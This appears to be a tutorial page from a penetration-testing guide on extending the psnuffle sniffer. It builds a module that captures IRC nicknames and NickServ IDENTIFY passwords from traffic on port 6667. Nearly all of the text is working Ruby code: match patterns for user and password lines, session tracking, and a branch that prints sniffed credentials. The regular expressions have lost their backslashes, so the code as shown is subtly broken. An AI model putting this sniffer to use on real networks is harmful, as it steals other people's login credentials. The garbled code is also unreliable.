Extending Psnuffle a11y.text Extending Psnuffle Extending Psnuffle to Sniff Other Protocols a11y.text Extending Psnuffle to Sniff Other Protocols Psnuffle is easy to extend due to its modular design. This section will guide through the process of developing an IRC (Internet Relay Chat) protocol sniffer (Notify and Nick messages). Module Location a11y.text Module Location All the different modules are located in data/exploits/psnuffle . The names are corresponding to the protocol names used inside psnuffle. To develop our own module, we take a look at the important parts of the existing pop3 sniffer module as a template. self.sigs = {

:ok => /^(+OK[^n]*)n/si,

:err => /^(-ERR[^n]*)n/si,

:user => /^USERs+([^n]+)n/si,

:pass => /^PASSs+([^n]+)n/si,

:quit => /^(QUITs*[^n]*)n/si } This section defines the expression patterns which will be used during sniffing to identify interesting data. Regular expressions look very strange at the beginning but are very powerful. In short everything within () will be available within a variable later on in the script. Defining our own psnuffle Module a11y.text Defining our own psnuffle Module self.sigs = {

:user => /^(NICKs+[^n]+)/si,

:pass => /b(IDENTIFYs+[^n]+)/si,} For IRC this section would look like the ones above. Not all nickservers are using IDENTIFY to send the password, but the one on Freenode does. Session Definition a11y.text Session Definition For every module we first have to define what ports it should handle and how the session should be tracked. return if not pkt[:tcp] # We don't want to handle anything other than tcp

return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only packet on port 6667

#Ensure that the session hash stays the same for both way of communication

if (pkt[:tcp].dst_port == 6667) # When packet is sent to server

s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")

else # When packet is coming from the server

s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")

end Now that we have a session object that uniquely consolidates info, we can go on and process packet content that matched one of the regular expressions we defined earlier. case matched

when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content

s[:user]=matches #Store the name into the session hash s for later use

Do whatever you like here... maybe a puts if you need to

when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching

s[:pass]=matches # Store the password into the session hash s as well

if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it

print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n"

end

sessions.delete(s[:session]) # Remove this session because we dont need to track it anymore

when nil

No matches, don't do anything else # Just in case anything else is matching...

sessions[s[:session]].merge!({k => matches}) # Just add it to the session object

end Next SNMP Sweeping Prev Password Sniffing